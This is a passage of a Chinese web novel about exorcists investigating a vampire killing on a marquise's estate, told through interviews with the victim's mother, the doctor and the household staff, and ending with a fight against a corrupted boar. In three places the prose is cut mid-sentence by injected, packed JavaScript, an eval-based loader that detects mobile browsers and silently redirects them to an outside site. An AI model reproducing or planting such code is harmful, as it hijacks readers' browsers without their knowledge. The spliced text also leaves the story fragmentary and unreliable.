“没有。”莱利本来很快回答，但她沉默了一会，表情突然痛苦地扭曲了一瞬，“不，不……我没有注意。她对我说晚安的时候，我正背对着她整理衣物，没有看她。她每天都来说晚安……我没有在意。我要是看了她就好了……我要是回头看了她就好了……” 艾德里安垂下眼，低声道：“她是在外面出事的。您知道她出去了吗？” 莱利摇头：“我不知道！她为什么要出去呢……” “有没有可能是因为起夜？” 莱利摇头：“不会，我们都有夜壶，晚上起夜也不会去外面的厕所。” “您在晚上有听到什么声响吗？” 莱利还是急切地摇头：“什么……什么都没有！” 莱利看上去越来越激动，她一说起女儿就想哭，终于捂住脸啜泣起来。 艾德里安沉默了，诺瓦俯身拍了拍莱利的肩，扫视了艾德里安和拉尔夫一眼，三人面面相觑。什么有用的信息都没有问出来，倒是先给人问哭了。 过了一会，莱利吸了吸鼻子，再度抬起脸来。她抹去了眼泪，哽咽着说：“抱歉，请原谅我的失态。还有其他要问的吗？” 见艾德里安一时没有发问，诺瓦出声了：“能和我们讲讲您的女儿吗？可以不说这次案件，就说说她是什么样的人。” 莱利点点头，深吸一口气说下去：“她今年十六岁，有一头漂亮的金色头发，脾气很温和……就是身体不太好，所以不怎么去田地里干活，平时留在屋子做点清洁。 “你们知道吗？她被侯爵夫人看中了，要去那栋大房子里当侍女，以后也可以跟着侯爵夫人去卡斯特尔家，不用在这里干农活了。本来……本来她会过得很好……”莱利说得很悲恸。 “大房子”应该就是侯爵夫人住的内院别墅了。诺瓦问：“既然被侯爵夫人看中了，那为什么还留在这里，没有去大房子呢？” “她怕生，想到要去侯爵夫人面前伺候，就有点害怕。”莱利说，“她对我们说，她怕在那里冒犯人，被赶出庄园。可侯爵夫人脾气很好，拒绝侯爵夫人才更加冒犯吧？我们都劝她接受。” “最后接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我们听说，她和画师学徒关系不错，是吗？”诺瓦想起刚刚胖太太偶然提起的一嘴，不禁问道。 “噢，那个学徒呀。他们也没有那么熟悉吧。”莱利不经意地皱了皱眉，“那个学徒说是要写生，每天在庄园里跑来跑去，大家都和他见过几面，安妮认识他也不奇怪。” 诺瓦没有再问了。过了一会，艾德里安瞥了拉尔夫和诺瓦一眼，拉尔夫还悄悄地耸了耸肩。看来确实问无可问了。 “那好，我们会尽力调查出结果。之后有其他疑问，我们再来拜访您。”艾德里安站起身，“请节哀。” 莱利点点头，垂下脑袋。三人静悄悄地离开了屋子。 ———— 医生还没有到，三人停留在门廊下等待。 拉尔夫抱臂靠在柱子上，看看艾德里安又看看诺瓦，懒懒散散地说：“我们就这样问来问去吗？杀人的是吸血鬼，说不定杀了人就逃回山林去了。问这些人没有用吧？” “还是尽可能地捕捉更多线索吧。”艾德里安说，“我们目前没有其他的调查方法。” “为什么先灵会不派遣擅长通灵的人过来呢？”拉尔夫叹气，“如果用通灵能力查案，就方便多了。” “通灵是很少见的天赋，擅长通灵的大多都升迁到总会去了。艾恩代尔分会的驱魔人里，即便会通灵，水平也不算高。”艾德里安还是淡淡地解释着。 这时，胖妇人在远处向他们挥手走来，身边跟着一位面容苍老的男人，他显眼的大鼻子上架着一副细框眼镜。 “哟，来了。”拉尔夫说着，从廊柱上起身站好。 两人来到面前，妇人热络地介绍：“这是庄园里的格雷医生，我们都叫他老格雷。” 艾德里安先对妇人说：“多谢。”而后转向男人，“您好，格雷医生，我们是刚到庄园的驱魔人。能说说您检查尸体时的发现么？” “稍等……”格雷医生翻开夹在腋下的笔记本，清了清嗓子，“她身上主要有两道伤口。一是胸口的贯穿伤，创口很大，边缘不整齐，不像是刀剑之类的利器所致。地上的血基本都是来自这个伤口。” 艾德里安微微点头，示意他继续说下去。 “还有一处很隐蔽，在颈部上。有两个细小的孔洞，间距约两指宽。”格雷医生摸了摸自己的脖子给他们演示，“这个伤口应该是吸血鬼吸血留下的，但我不是驱魔人，不敢下定论。” “你能确认死亡时间吗？”艾德里安问。 格雷医生眯眼翻看本子：“我去检查的时间……是六点五十。那时候，受害人的尸体刚刚开始尸僵，应该遇害两三个小时左右。这个时间没有办法更精确了。” 艾德里安沉默片刻，目光扫过诺瓦与拉尔夫：“你们有什么要问的么？” 拉尔夫耸了耸肩。诺瓦迟疑着问道：“我听莱利太太说，受害人的身体一直不是很健康。有这回事吗？” “庄园里，找我看病最多的，除了几个老人，就是她了。”格雷医生将本子夹回腋下，“她很容易累，天一冷下来就感冒发烧。我认为她有些贫血，给她开过铁剂，还给过一些饮食上的建议。但他们家条件一般，只怕不会执行得很好。” “贫血？”艾德里安皱了皱眉，贫血的人对吸血种往往没有那么大的吸引力。 “是。”格雷医生不知蹊跷，只是应了一声。 见诺瓦和拉尔夫都没有其他要问的了，艾德里安便说：“谢谢您。假如后续我们在驱魔作战中受伤，也是找您治疗吗？” 格雷医生怔了一下，望向拉尔夫：“我吗？之前没有安排过……” 艾德里安不解。拉尔夫笑着解释道：“侯爵夫人还有一位私人随行医生，在大别墅里有一间医务室。偶尔他也会给我和一些亲近的侍女看病。”他转向格雷医生，“不麻烦你，受伤了我们会找那位随行医生的。” “没有别的事情，我先告辞了。”格雷医生微微点头致意，胖妇人带着他离开。 艾德里安摸出怀表看了一眼：“现在正好四点钟。我们赶回去，差不多就能和侯爵夫人见面了。” 抬眼望去，太阳正在跌落，天光变成了温暖的金黄色。三人向内院那栋最高大的别墅走去。 7. 4.驱魔委托 4.驱魔委托/TheExorcismission 三个年轻人坐在二楼走廊的沙发上，等待博蒙特的传话。博蒙特说，侯爵夫人刚醒，整理好仪容便会传唤他们。 这里的氛围很是安静，三个人都不说话。拉尔夫憋得闷闷不乐。 五分钟后，拉尔夫挥了挥手，示意诺瓦挪一下位置。诺瓦刚挪开，拉尔夫便挤到诺瓦和艾德里安中间，压低声音说：“我先和你们说一下我姑姑的情况，虽然她脾气好，但你们还是注意不要惹她不高兴。” 诺瓦点点头，示意他说下去。 拉尔夫轻声说：“她叫莉迪亚·卡斯特尔，在十三年前……还是十四年前？总之，她在那个时候嫁入了卡斯特尔家，这事在当时引起了不小的轰动，因为……呃……” 说到这里，他有些犹豫：“我家虽是贵族，但只是在这边稍有名气，而卡斯特尔却是全国知名的大贵族，在上议院有席位的。我姑姑和卡斯特尔侯爵相识的时候，有很多风言风语，很多人说她没多久就要被抛弃，结果他们最后结婚了，到现在都好多年了。” “卡斯特尔家是什么态度？”诺瓦问道。 “没听说过有什么不满，他们对姑姑挺好的。”拉尔夫说，“因为姑姑她身体不太好，冬天也怕冷，就让她每年冬天来这里疗养。这座庄园，基本都是她在用。” “那你为什么会经常来这里呢？”诺瓦小声问。 “我平日住在洛塞尼亚市，离这里挺近的，来看望她也不奇怪吧？”拉尔夫说得理直气壮，见了诺瓦怀疑的眼神，顿时有些泄气，“……好吧，其实我父亲对我很严格，我是来这里‘逃难’的。姑姑她不怎么管我。” “这么说，她是不是脾气很好？”诺瓦问，“刚刚莱利太太也这么说过。” “嗯，”拉尔夫点了点头，然后又摇头，“不对，何止是脾气好，她简直不像是个大人物。有时候侍女做错了事，她都犹豫很久要不要指出来。最后都是博蒙特看得火大，出面训斥人。” 诺瓦压低声音：“博蒙特脾气不好吗？” 拉尔夫意味深长地看了诺瓦一眼：“你们还要在这里待一段时间，如果她对你们态度不好，你们没必要往心里去。她照顾侯爵夫人很多年了，是侯爵夫人的贴身侍女。怎么说呢……她就像是觉得我们对侯爵夫人不够尽心一样，一直有些嫌弃我们。” 说到最后，拉尔夫有些无奈。 两人如同在金碧辉煌的大厅里窸窣作响的两只小老鼠，艾德里安则端坐在一边一动不动地听着，像一只发呆的猫头鹰。 猫头鹰终于发问了：“也就是说，博蒙特在这里很有话语权？”他正襟危坐，看上去认真许多。 拉尔夫一声不吭地点点头。下一刻，他“啊”了一声，站起身来，只见博蒙特远远地走来了。另外两人便也跟着站了起来。 博蒙特夫人上下扫视他们，看得诺瓦噤若寒蝉。 博蒙特冷冷地转过身去：“跟我来吧。” ———— 去见侯爵夫人的路上，他们一句话都没再说。 博蒙特推开门，整个开阔豪华的起居室呈现在了眼前。 端庄的中年女人坐在窗户前的独脚小圆桌边，双手十指交错，平静地放在膝盖上。她面容祥和，目光温柔，见到他们到来，露出笑容，漾起两个酒窝：“你们终于来了，都坐下吧。博蒙特，去把椅子搬过来。” 三个人都走了过去。在椅子还没有拿过来的当口，诺瓦低垂着眼，没有与侯爵夫人对视。这个女人似乎散发着一种柔和的光辉，以至于让诺瓦感受到莫名的压力。 诺瓦没有看艾德里安和拉尔夫。但她猜想，艾德里安应该也是毕恭毕敬的，只有拉尔夫这个亲侄子放松一点。 侍女们将三张绒面圆凳放在了三人面前。侯爵夫人伸手，示意他们坐下。 “你们两个看上去好年轻呀。”侯爵夫人望向艾德里安，“这位就是艾德里安·温特先生吧？先灵会说，你是很有经验的驱魔人，没想到会这么年轻。” “我已经从事驱魔六年了，确实有一些经验，但远谈不上资深，是先灵会过誉了。”艾德里安望向诺瓦，“这位是诺瓦·维里安，与我们一同执行此次委托。” 诺瓦局促地笑了笑。这时，侍女端来热茶，先后递给圆凳上的三人。 侯爵夫人说：“你们两个一路辛苦了，到了有一会了吧。还顺利吗？” “托您的福，很顺利。”艾德里安说。 “我经常下午睡午觉，让你们久等了。”侯爵夫人说。 “您客气了。”艾德里安说，“这并没有什么妨碍，我们刚刚已经去事发现场调查过了。” “这么快？”侯爵夫人讶异了一瞬，随即恢复了往常的微笑，“你们真是可靠。现在整个庄园都很焦虑不安，你们能来就太好了。” 艾德里安礼貌地说：“我们随后会继续调查相关人员，争取尽快找到那个吸血种。” “你们不用太过紧张。事情已经过去了好几天，也不急这一会了。驱魔的事情我不了解，但我读过侦探小说，一般这个时候，会消失的线索已经消失了，还没有消失的线索，后续也不会消失。”说到这里，侯爵夫人笑了笑，“你们今天刚到这里，先好好休息也可以。” “……是。”艾德里安垂首，接受了侯爵夫人的好意。诺瓦也跟着低下了头，看着端在膝盖上的茶杯，红色茶汤蒸腾的热气覆在她的脸颊上。她心里却在想着那个侦探小说的说法，忽然觉得侯爵夫人其实是个挺有趣的人。 “拉尔夫——”侯爵夫人忽然叫住了自己的侄子，正在走神的拉尔夫立刻直起了腰。她说：“你以后和他们共事，要好好和他们相处。你对庄园里更为熟悉，记得多带他们走走。” “好。”拉尔夫很乖巧地点头。 “博蒙特，你已经为他们安排了住所吧？”侯爵夫人向站在角落里的博蒙特问道。 窗帘阴影里的博蒙特站了出来：“已经安排了，就在两边的套房里。如果发生什么事，可以随时传唤他们。” “好。没有别的事情，谈话就到此为止吧。”侯爵夫人说，“这里的事情都是博蒙特和米切尔负责的，有什么需要可以直接和她们说。要是问我，我也不明白。——博蒙特，带他们去自己的房间吧。” “是。”博蒙特说，“两位和我来吧。” 诺瓦和艾德里安将还没有喝过的茶放回侍女手中的托盘里，跟着博蒙特出去了。而侯爵夫人的声音轻轻地从身后传来：“对了，这里是温泉庄园，记得泡温泉呀。” ———— 侯爵夫人似乎不怎么关注案件本身，说的都是些礼仪性的关怀。 博蒙特的脸色则冷淡很多。她带着他们站在走廊里，语气平静地介绍：“刚刚是侯爵夫人的住所，而东边的套房……” “是我住的。”拉尔夫从后面赶了过来。 博蒙特没理会他，指着对应的方向：“再往东是给维里安小姐的套房，而温特先生的套房在西边。这几间套房本来是给贵客住的，但考虑到庄园里存在危险，为了方便侯爵夫人随时传唤你们，便将你们安排在了这里。” 说完，她不动声色地瞥了一眼艾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17614439|206044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 德里安和诺瓦，两个人对这带刺的话一点反应都没有。 于是她将钥匙分给二人：“我们已经将房间整理好了，如果有什么缺漏，可以和我说。我知道你们先灵会有自己的秘密，因此没有为你们安排仆从，也不会主动为你们整理房间。如有需要，可以告诉走廊值守的侍女。至于餐食，在饭点，餐厅都会准备好三餐。还有别的问题吗？” “侯爵夫人平时出行需要我们跟随吗？”艾德里安说。 “她大部分时候都在这间别墅里。如果偶然需要外出的话，会来找你们陪同的。”博蒙特说。 “好的。” “祝你们顺利。”博蒙特撂下一句话，转身就走了，只给三人留下一个干练的背影。 望着博蒙特远去，拉尔夫笑道：“我早就说了，博蒙特不待见侯爵夫人以外的所有人。你们不用在意，至少她从不怠慢本职工作，不会给我们添乱——我们接下来要去做什么？” “先好好休息。”艾德里安说，面对拉尔夫惊讶的神情，他解释道，“我本来打算先去见见那个画师学徒，但侯爵夫人已经吩咐我们不用太急，刚刚也已经答应了，现在继续调查，显得不太礼貌。” 拉尔夫不以为意地撇撇嘴，没有说什么。 艾德里安平静地说：“今天没有别的行动了，现在先确认一下后续的事情吧。我们有两件事要做，一件是查出杀人的吸血种，另一件是维持庄园的安全，其中又以侯爵夫人的安全为先。 “你们两个白天行动，如果侯爵夫人要离开这间别墅，你们两人之中至少要有一个人陪同。晚上你们睡在侯爵夫人旁边的房间里，有意外的话，守夜的侍女可以立即找到你们。我反过来，晚上行动，白天休息。以早上七点和晚上七点为节点换班，这样可以么？”艾德里安说。 “呃……我们白天行动，是指什么？”诺瓦问，“除了出去访问，我不知道该怎么调查……难道只是在这里待机么？” 艾德里安说：“我打算在内院周围设置驱魔阵法，需要在木桩上铭刻特定的符文，如果你们觉得没有事情做，就去刻符文吧。我晚上会将符文画给你们。” “好。”诺瓦应道。 艾德里安从口袋里掏出两枚骨哨：“这个东西，你们会用吧？” 诺瓦接过，点点头。这些骨哨只要吹响一个，配套的其他骨哨也会响，驱魔人时常用它报信。 “塞勒斯有什么要说的吗？”艾德里安望向一直不说话的拉尔夫。 “嗯，就这样吧。有什么事来找我就好。”拉尔夫兴趣缺缺地接过骨哨，转身走了。 “维里安，你还有什么要说的吗？”艾德里安又问。 诺瓦摇头。 “那我也先回去了。晚上要守夜，我先提前休息一会。” 诺瓦看着他的背影远去，将骨哨塞进口袋。忽然，怪腔怪调的女声从身后传来：“哎呀，你们走得可真快。” 诺瓦转过身去。米切尔正不疾不徐地走过来，她幽怨地叹了一口气：“算了……你们的行李已经在楼下了。博蒙特给你们安排好房间了吗？” 诺瓦堆着笑答道：“嗯，就在侯爵夫人房间的两边。” “你住哪里？我让人把你的行李送上去。” “塞勒斯先生东边的那一间。”诺瓦说，“真是麻烦您了……” 米切尔转过身倚在扶手上，对楼下大厅等候的仆从说道：“把行李搬上来吧。”她的声音不大不小，仆从听到抬了头，而并没有让这里显得吵闹。 米切尔从诺瓦的手中拿起钥匙，对她眨了眨眼：“走吧。我带你去。” 8. 5.众心纷扰 5.众心纷扰/HeartsinTurmoil 诺瓦乖顺地跟了过去。走到门前，米切尔开了锁，推开门，映入眼帘的是一个豪华的起居室。米切尔扫视一圈：“还算是收拾干净了。” 诺瓦听出一种审视的意味。这时，仆从提着行李箱进来。米切尔提醒道：“放在那边的茶几上吧，温特先生的行李也要记得去送哦。” “是。”仆从放下行李，匆匆忙忙走了。 “你的东西可真够多的，我以为你们驱魔人的行李都很精简呢。”米切尔说。 “这个呀……”诺瓦解释说，“我从先灵会出来，没有先搬去驻扎地，而是直接来这里执行任务了。这是我的全部身家了……” 米切尔抬了抬眉：“哦……这就有些少了。为什么不先去驻扎地呢？” “执行长昨天才给我发信，让我来这里。”诺瓦说，“我在火车上才知道驻扎地在哪里……” 米切尔想起艾德里安，面露不悦：“你们那个执行长，今天是踩着点到火车站的。我就讨厌这种不守时的人。以前我定期去艾恩代尔采购，每次总有几个人磨磨蹭蹭，火车要开了还没到。后来直说火车到点就开，谁也不等，他们才算是老实了。你们这个委托，他至少应该提前告诉你。” 诺瓦讷讷地说：“温特说，他不久前还在养伤，这些事对他来说也很急……” 米切尔懒得听，她直问道：“博蒙特有没有为难你们？” “呃……”诺瓦斟酌了一下措辞，“她有些严格，但该交代的都交代了。” “她有告诉你怎么泡温泉吗？”米切尔问。 “……没有。” “哼……我就知道。”米切尔眼中掠过一丝得意，“我来告诉你吧。来这里不泡温泉就太可惜了。” 米切尔领着诺瓦走到里面的浴室，拉开浴帘，一个黄铜浴缸贴着墙立着。 “温泉在不远处的山上。这里很早以前就修了水管，直接将泉水通到这里。这个水龙头是温泉水。”米切尔蹲下去，拨开水龙头，水管咕隆了一阵，水哗哗地流了出来，弥散的水雾带出微微的硫磺气味。 米切尔伸手去接水柱：“如果水烫了，就开边上那个冷水龙头。那边的柜子里，博蒙特应该准备好了香包和海盐。外面的衣柜里应该也有准备睡衣？——我关上咯，你要用的时候自己开。” 米切尔站起身，道：“之后有什么需要，你可以和我说——博蒙特大概也这么说了吧？只是瞧她那样子，要不是真火烧眉毛了，谁愿意去找她。” “您不喜欢她？”诺瓦试探着问道。 米切尔并未忌惮什么，她抱怨道：“她讨厌得很。平时和侯爵夫人一起住在卡斯特尔家，每年一到冬天就和侯爵夫人一起来这里。侯爵夫人自己还没说什么呢，她就过来嚷嚷，说我没把庄园打理好。可她一个整天待在屋子里的人懂什么？说葡萄田里光秃秃的太难看，可冬天能不秃吗？” 诺瓦看她说个不停，忽然觉得她有些率直的可爱。米切尔看见诺瓦盯着她笑盈盈的样子，收了抱怨的声。 米切尔沉默了一会，忽然说：“我想拜托你们，一定要找到那个吸血种。” “嗯？”这话说得有点突然，诺瓦愣了一下。 “据我所知，你们接到的委托是，调查这桩吸血种杀人案，然后一直护卫着侯爵夫人，直至疗养结束。是吗？”米切尔问。 诺瓦点点头：“是。” “就算最后没有结果，只要侯爵夫人离开了，你们也离开吗？” “我们会把能够追踪的线索都追踪一遍，尽力清除掉那个吸血种。”诺瓦说得坦诚，“可要是实在没有结果，也只能随着侯爵夫人一起离开了。” 米切尔向后倚在墙上，疲惫的气息从她的脚底涌了上来。她说：“对于侯爵夫人和博蒙特来说，这里只是她们定期休养的地方。如果这里真的变得危险，她们大不了再也不来。 “但这里对我们不一样，我们一直在这里生活。有的农夫已经在这个偏僻的地方待了十几年，他们期待在这里度过平稳的一生。”米切尔苦笑着，“这几天还好，等到侯爵夫人离开了，这案子就更没人理会了。要是那个吸血种还在，再杀几个人该怎么办呢？” “原来如此，我们会尽力的。”诺瓦轻声说，但她不敢打包票。 “哎……您能理解就好。”米切尔叹了口气，“命案发生的那天，庄园里乱糟糟的。博蒙特说这里不安全，劝侯爵夫人早点离开。庄园里的人一直催我去向侯爵夫人报告，要早点找驱魔人来驱魔。侯爵夫人不是很有决断，拿不定主意。我真怕她们走了，就没人管这里了。” “我们这不是来了嘛。”诺瓦安慰道。 “这可多亏了塞勒斯先生。我实在没有办法，带上几个人去找塞勒斯先生，劝他给你们先灵会发委托。”米切尔庆幸道，“还好他答应了我们的请求。不然我们该怎么办呢？” 诺瓦赶忙问道：“侯爵夫人同意了吗？” “不同意你们就来不了啦。”米切尔浅浅地笑了，“塞勒斯先生发完电报，我们才告诉她，于是她认可了。说到底，侯爵夫人就算要离开，和找驱魔人来驱魔也并不冲突。都是博蒙特一直要侯爵夫人走，把侯爵夫人的脑子都搞乱了。” 诺瓦心里一动，原来是这样的。艾德里安说过，拉尔夫·塞勒斯是一个有着英雄情结的人，此事不假。但他擅自给先灵会发委托，背后居然还有这么一出。 “呀，我说得有点多了。”米切尔忽然惊醒，站直了身子，“我还有其他事要办，要先走了。” “嗯。”诺瓦点点头。 她们一起走出浴室，米切尔走到门前，忽而回过身对诺瓦说：“不要忘了享受我打理的这个庄园呀。不管以后怎么样，你也记住这里现在的样子吧。” 诺瓦无言地点了点头。米切尔微微垂首，转身离开了。 ———— 七点钟的时候，诺瓦出了门，问走廊里值守的侍女：“您好，请问这里的餐厅在哪里？” 倚在栏杆上的侍女转过身来：“哦，是新来的驱魔人，您好。在一楼，医务室对面。” “医务室？” “一楼走廊最西边。”侍女换了个说法。 “好，谢谢。”诺瓦下了楼。 一楼的走廊尽头更深，光线较为黑暗。大概是专门划分了这一片角落里的区域给仆役们使用，以免影响别墅里的安静与体面。 餐厅在一道不起眼的小门后面，诺瓦推开门，身旁便突然响起声音：“晚上好，驱魔人女士。” 诺瓦惊了一下，原来是餐厅的男仆。男仆微微躬身行礼，又直起身子来。 仆役吃饭也有这样的环节吗？诺瓦尴尬地笑笑。 “您找个合适的位置入座就好，稍后我会为您上菜。”男仆不紧不慢地说。 诺瓦缩着脖子点点头。这一刻，她忽然感觉有一种非常深邃的视线在盯着自己，不禁打了个颤，警觉起来。但当她循着那道视线望回去，却只对上一双鹿一般的眼睛。 那不过是个比诺瓦稍矮一点的少年，有一头深褐色的略微卷曲的头发，穿一身亚麻色的短外套，显得很乖巧。诺瓦发现他了，于是他露出干净的笑容，挥了挥手，招呼诺瓦过去。 真的是在看自己？诺瓦按捺住疑惑，走过去坐在了男孩的对面。他面前摆着吃了一半的蔬菜肉汤，几片抹了黄油 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17614440|206044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的烤麦面包，还有一小块煎牛肉。 没等诺瓦发问，男孩就说：“你是艾恩代尔来的驱魔人吧。”察觉到自己的声音有点大，他压低了声音，“出命案的那天，他们让我把现场画下来，我一直等着把画给你们呢。” “噢，是您呀。”诺瓦反应过来，是那个画师学徒，“请问怎么称呼？” 她心中略有讶异，很难想象那天描摹现场的是这样一个孩子。 “叫我艾弗就好了。”他说，“我什么时候把画给你们呢？” “执行长打算明天去找你。不过，他晚上都在，你提前给他应该也可以。”因为面对的是一个孩子，诺瓦的语气不禁变得轻柔些许。 这时，男仆过来，也给诺瓦上了菜，她的菜品和艾弗的一模一样。 “你们有发现什么线索么？”艾弗嚼着面包，低声问。 诺瓦摇摇头：“还在调查，没有发现什么新的线索。” “噢。”艾弗眼中划过些许失望。 诺瓦心中一动，是不是因为安妮·莱利呢？因为受害人和他关系好，所以他希望能够快点破案？ 诺瓦说：“我听说……” “咳。”门边的男仆轻咳一声，“请二位保持安静，勿扰他人。” 诺瓦讪讪地收了声，低下头，用叉子扒拉汤里的蔬菜。她来得早，现在这里也没几个人，能打扰谁？ 艾弗见状悄悄地摊了摊手，很快又缩回去了。 他们都没有再说话，艾弗先吃完饭就走了。诺瓦本想着，看来还是要明天才能问，结果她刚从餐厅出来，就看见艾弗背靠在墙上，摊着一个手掌大的本子写写画画。 见到诺瓦，他合上本子，说：“你刚刚还有话要和我说吧？” 饭点的走廊人来人往，在这里聊他的私事会不会不太好？诺瓦想着，压低了声音：“我听说，那个受害人，和你关系很好，是吗？” “嗯……”艾弗斟酌着说，“还可以算是朋友吧。” 诺瓦想着该进一步问些什么，艾弗忽然说：“我是不是看上去不够伤心？” 这句话让诺瓦怔了一瞬。而艾弗这么问的时候微微笑着，那双鹿一般的眼睛闪闪发光，确实没有什么伤心的迹象。 诺瓦一时不知如何回话，作为外人，她没有立场去批评艾弗对安妮·莱利的死不够伤心。 似乎是察觉到这个问题难以回答，艾弗轻声说：“我只是觉得，事到如今，我没有欠她什么，她也没有欠我什么。就算我们的相识结束了，也没有什么可伤心的……”他轻叹一口气，“你是想调查她的案件吧？” “是……”诺瓦想了想，有些事实性的信息，不如等到明天和艾德里安他们一起调查的时候再问，毕竟他们也是要了解的，免得艾弗再说一遍。那该问什么呢？ 诺瓦思忖片刻，试探着说：“作为朋友，你觉得我们的调查应该注意些什么呢？” 艾弗的眼神闪烁，似乎没想到诺瓦会问这样一个开放式的问题。他摸着下巴说：“她是一个很内向的人，我感觉她对谁都不会说全部的真话。如果有些事情，你们在直觉上觉得古怪，还是不要信她的解释为好，虽然那些解释可能是说得通的。自己去找原因吧。” 诺瓦垂下眼，点头说：“好。” “没有别的事，我就先走了。”艾弗露出笑容，挥了挥手离开。 诺瓦望着他远去，回到了二楼。 吃完饭后，她和走廊里的侍女聊了几句。这些侍女们话多，可惜只爱聊一些院里的琐事，问她们院子里的布局或是侍女守卫们的排班，她们觉得很没意思，总是绕了半天才随口吐出一点来。 等诺瓦打听完，回到房间已经很晚了。 9. 6.银蛇嗜血 6.银蛇嗜血/TheSilverSerpent''sThirst 即便米切尔告诉了诺瓦应该如何使用这里的温泉，她也不知道应该泡多久。 她在浴缸里坐了很久，在温热的水雾里闻着微弱的硫磺气味，支着下巴出神。她放松下来，脑子里还在想艾弗的话。 “如果有些事情你们在直觉上觉得古怪，还是不要信她的解释为好，虽然那些解释可能是说得通的。自己去找原因吧。” 解释……吗？应该理解成动机或原因吧。她本来就不算真实的“解释”，通过他人的转述，已经成为了难以辨识的存在了。 回想莱利太太的叙述，诺瓦总觉得莱利太太未必真的了解安妮的近况，她似乎太过于期待安妮被侯爵夫人选中这件事了，而对安妮本身的想法有所忽视。 诺瓦昏昏沉沉地想着，直到某个时刻忽然惊醒，察觉水已经凉了，赶忙从浴缸里爬了出来，擦干身子后换上了睡裙。 这睡裙是在衣柜里看见的，应该是博蒙特准备的。 睡裙的布料柔软而舒适，但她一穿上去便觉得有些宽松，平举手臂，袖子已经长得盖住了手背，只有手指露出来。刚想去衣柜里看看有没有小一号的，结果刚迈出两步就踩住了裙摆，踉跄了一下。 诺瓦从浴室出来，翻找着衣柜，里面有好几件睡裙，但都是同一个尺寸。她站定思索片刻，在镜子面前提着裙摆稍稍摇曳，再松开手，裙摆落下来，刚刚触及脚踝。 应该只是略微宽大一些，稍加注意便不会踩到。 诺瓦扫了一眼座钟，上面显示已经到十点半了，很晚了。 诺瓦放弃了找博蒙特要小一号睡裙的想法。本来也只有睡觉的时候才穿，不妨碍行动，倒也没必要为了这点事去找那个严苛的女人。 那就这样，先去睡觉吧。这么想着，诺瓦去关上了阳台的门，而后旋转一圈直接扑到床上。她在柔软的床铺上蠕动着，挪到煤气灯下，抬手抓住拉绳开关，手一耷拉，拉绳从她手里弹出，绳头敲在墙壁上一阵细碎声响—— 窗外忽有马匹凄厉嘶鸣，惊得诺瓦立马爬了起来，此刻煤气灯的火焰正好噗的一声塌陷，光芒随即湮灭。 诺瓦在黑暗中坐着缓了缓神，赶紧穿上靴子披上罩衣，抄起指南针与银剑走了出去。 刚出门，就看见守夜的侍女也站了起来，伏在栏杆上往下看。诺瓦问她：“出什么事了吗？”侍女摇摇头：“不清楚。” 外面却传来了叫喊，远远的听不真切。拉尔夫也跑了出来，问道：“怎么了？怎么了？” “温特在吗？”诺瓦问。 拉尔夫摇摇头。 “我去看看，你守在这里吧。”诺瓦说着，快步下了楼。出门的时候，她听见拉尔夫吹响了骨哨。 马厩和刚刚的叫喊都在西边，诺瓦赶去，只见到几个人影在空地里四散跑开，似乎是巡夜的守卫。 深夜里，他们并没有注意到诺瓦的到来，诺瓦只得叫住一个向她这边冲过来的守卫：“发生什么事了？” “有野猪闯进来了！”那守卫说，“你快躲起来，我们……” “我是先灵会的驱魔人！这种事以前发生过吗？”诺瓦打断他，一手打开指南针的黄铜翻盖。 守卫急着拿过靠在墙上的草叉，匆忙道：“发生过一两次，不常见！” 诺瓦皱了皱眉说：“交给我吧。” 守卫怔了一下，还没说话，诺瓦就已经冲到前面去了。 诺瓦合上指南针——刚刚，这指针指向了守卫原本打算冲回去的方向。此刻，那只野猪正好冲破矮篱，从豁口冲了出来。 野猪极其壮硕，粗硬的鬃毛抖擞倒竖，涎水沿着外翻的獠牙滴落。它环顾四周，前蹄轻践泥土，陡然向诺瓦冲来。 诺瓦侧身避开，野猪又撞入了另一道矮篱，木屑飞溅。趁野猪转身迟滞的间隙，诺瓦拔出银剑，一跃而起，刺中野猪的肩胛与脖颈的交接处，伤口处顿时升腾起微微的白气，似在灼烧。 野猪嚎叫着甩动身躯，诺瓦翻动手腕，后撤半步，顺势剌出一道伤口，拔剑退去。 诺瓦迅速瞥了一眼剑身，血液沿着剑身淌流滴落，在寒凉夜色中散发着浑浊的热气。 有些动物会被侵蚀，变得狂躁不安，不知疼痛，极具攻击性。毫无疑问，这只野猪被侵蚀了，所以银剑对它是有效的。 野猪再次猛冲而来，血从它的脖颈处涌出，淋落一地。诺瓦闪躲，双手握剑，回身刺入它的脊椎。它凶狠地转身，不顾锋刃破开血肉，泼下淋漓鲜血。它还想再度冲击，却再也站不住，抽搐着退了几步，踉跄倒下。 诺瓦收了剑，低咳两声。几个守卫上前冲上来，用草叉叉住已经接近断气的野猪，确认它的死亡。 诺瓦盯着他们，平复呼吸。这头野猪无疑是受到侵蚀发了狂，但归根结底也只是一只牲畜而已，就算没有她，那几个守卫拿着草叉也能把它收拾了。 问题是，侵蚀的源头在哪里？这里长期有人居住，不太可能有固定的侵蚀源头，那么，只能是来自更加高等的侵蚀生命了。如果是谁有意放出来的，这样一只能被几个守卫解决的野猪意义又在哪里？ 诺瓦再度驱动指针，指针发出微弱的光芒，缓慢转动，最后指向东方。 